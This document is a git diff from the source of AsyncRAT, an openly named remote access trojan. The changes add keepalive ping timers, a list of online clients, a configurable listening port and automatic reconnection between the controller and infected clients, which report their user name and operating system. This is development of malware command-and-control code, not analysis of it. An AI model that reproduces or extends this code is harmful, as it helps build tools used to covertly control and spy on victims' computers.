diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index 3b8dbef..19ba1a6 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -60,6 +60,7 @@ + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs index 711b19c..c6805b1 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs @@ -37,6 +37,7 @@ this.sendMessageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); + this.ping = new System.Windows.Forms.Timer(this.components); this.contextMenuStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.SuspendLayout(); @@ -107,6 +108,12 @@ this.toolStripStatusLabel1.Size = new System.Drawing.Size(24, 25); this.toolStripStatusLabel1.Text = "..."; // + // ping + // + this.ping.Enabled = true; + this.ping.Interval = 50000; + this.ping.Tick += new System.EventHandler(this.ping_Tick); + // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -135,6 +142,7 @@ private System.Windows.Forms.ToolStripMenuItem sendMessageToolStripMenuItem; private System.Windows.Forms.StatusStrip statusStrip1; private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1; + private System.Windows.Forms.Timer ping; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs index 1f19941..40eb869 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs @@ -4,6 +4,7 @@ using AsyncRAT_Sharp.MessagePack; using AsyncRAT_Sharp.Sockets; using System.Threading.Tasks; using Microsoft.VisualBasic; +using System.Linq; namespace AsyncRAT_Sharp { @@ -17,29 +18,32 @@ namespace AsyncRAT_Sharp async private void Form1_Load(object sender, EventArgs e) { Listener listener = new Listener(); - listener.Connect(8080); + listener.Connect(Settings.Port); while (true) { await Task.Delay(1000); - toolStripStatusLabel1.Text = string.Format("Online {0}", listView1.Items.Count.ToString()); + toolStripStatusLabel1.Text = string.Format("Online {0}", Settings.Online.Count.ToString()); } } private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e) { - string URL = Interaction.InputBox("Message", "Message", "Hello World!"); - if (string.IsNullOrEmpty(URL)) - return; - else + if (listView1.SelectedItems.Count > 0) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "MessageBox"; - msgpack.ForcePathObject("Message").AsString = URL; - foreach (ListViewItem C in listView1.SelectedItems) + string URL = Interaction.InputBox("Message", "Message", "Hello World!"); + if (string.IsNullOrEmpty(URL)) + return; + else { - Clients CL = (Clients)C.Tag; - CL.BeginSend(msgpack.Encode2Bytes()); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "MessageBox"; + msgpack.ForcePathObject("Message").AsString = URL; + foreach (ListViewItem C in listView1.SelectedItems) + { + Clients CL = (Clients)C.Tag; + CL.BeginSend(msgpack.Encode2Bytes()); + } } } } @@ -48,5 +52,20 @@ namespace AsyncRAT_Sharp { listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); } + + private void ping_Tick(object sender, EventArgs e) + { + if (Settings.Online.Count > 0) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = "This is a ping!"; + foreach (Clients CL in Settings.Online.ToList()) + { + CL.BeginSend(msgpack.Encode2Bytes()); + } + } + } + } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx index 0f48af9..58396dd 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx @@ -123,4 +123,7 @@ 234, 17 + + 392, 17 + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index bebf025..74c0792 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -2,6 +2,7 @@ using System.Windows.Forms; using AsyncRAT_Sharp.MessagePack; using System; +using System.Diagnostics; namespace AsyncRAT_Sharp.Handle_Packet { @@ -10,25 +11,38 @@ namespace AsyncRAT_Sharp.Handle_Packet public delegate void UpdateForm1Delegatevoid(Clients client, byte[] data); public static void Read(Clients client, byte[] data) { - MsgPack unpack_msgpack = new MsgPack(); - unpack_msgpack.DecodeFromBytes(data); - switch (unpack_msgpack.ForcePathObject("Packet").AsString) + try { - case "ClientInfo": - if (Program.form1.listView1.InvokeRequired) + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes(data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) { - Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data }); - } - else - { - client.LV = new ListViewItem(); - client.LV.Tag = client; - client.LV.Text = string.Concat(client.Client.RemoteEndPoint.ToString()); - client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); - client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); - Program.form1.listView1.Items.Insert(0, client.LV); - } - break; + case "ClientInfo": + if (Program.form1.listView1.InvokeRequired) + { + Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data }); + } + else + { + client.LV = new ListViewItem(); + client.LV.Tag = client; + client.LV.Text = string.Concat(client.Client.RemoteEndPoint.ToString()); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); + client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); + Program.form1.listView1.Items.Insert(0, client.LV); + } + break; + + case "Ping": + { + Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); + } + break; + } + } + catch(Exception ex) + { + Debug.WriteLine(ex.Message); } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs new file mode 100644 index 0000000..32242f4 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -0,0 +1,11 @@ +using AsyncRAT_Sharp.Sockets; +using System.Collections.Generic; + +namespace AsyncRAT_Sharp +{ + class Settings + { + public static List Online = new List(); + public static int Port = 8080; + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 96369c2..f1247fc 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -33,6 +33,7 @@ namespace AsyncRAT_Sharp.Sockets MS = new MemoryStream(); LV = null; Read += HandlePacket.Read; + Settings.Online.Add(this); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); } @@ -97,12 +98,16 @@ namespace AsyncRAT_Sharp.Sockets delegate void _isDisconnected(); public void Disconnected() { - if (Program.form1.listView1.InvokeRequired) - Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected)); - else + if (LV != null) { - LV.Remove(); + if (Program.form1.listView1.InvokeRequired) + Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected)); + else + { + LV.Remove(); + } } + Settings.Online.Remove(this); try { MS.Dispose(); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index 4c23a87..3311aaf 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -9,7 +9,7 @@ namespace AsyncRAT_Sharp.Sockets { class Listener { - public Socket listener; + public Socket listener { get; set; } public async void Connect(int port) { diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 500e101..a7a2ca1 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -16,6 +16,7 @@ namespace Client public static byte[] Buffer { get; set; } public static long Buffersize { get; set; } public static bool BufferRecevied { get; set; } + public static Timer Tick { get; set; } public static MemoryStream MS { get; set; } static void Main(string[] args) @@ -43,6 +44,8 @@ namespace Client BufferRecevied = false; MS = new MemoryStream(); BeginSend(SendInfo()); + TimerCallback T = new TimerCallback(Ping); + Tick = new Timer(T, null, 15000, 30000); client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } catch @@ -68,6 +71,7 @@ namespace Client { if (client.Connected == false) { + Tick.Dispose(); client.Close(); client.Dispose(); MS.Dispose(); @@ -114,6 +118,7 @@ namespace Client } else { + Tick.Dispose(); client.Close(); client.Dispose(); MS.Dispose(); @@ -123,6 +128,7 @@ namespace Client } catch { + Tick.Dispose(); client.Close(); client.Dispose(); MS.Dispose(); @@ -142,9 +148,23 @@ namespace Client Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); } break; + + case "Ping": + { + Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); + } + break; } } + public static void Ping(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString(); + BeginSend(msgpack.Encode2Bytes()); + } + public static void BeginSend(byte[] Msgs) { if (client.Connected) @@ -163,7 +183,13 @@ namespace Client } } catch - { } + { + Tick.Dispose(); + client.Close(); + client.Dispose(); + MS.Dispose(); + InitializeClient(); + } } }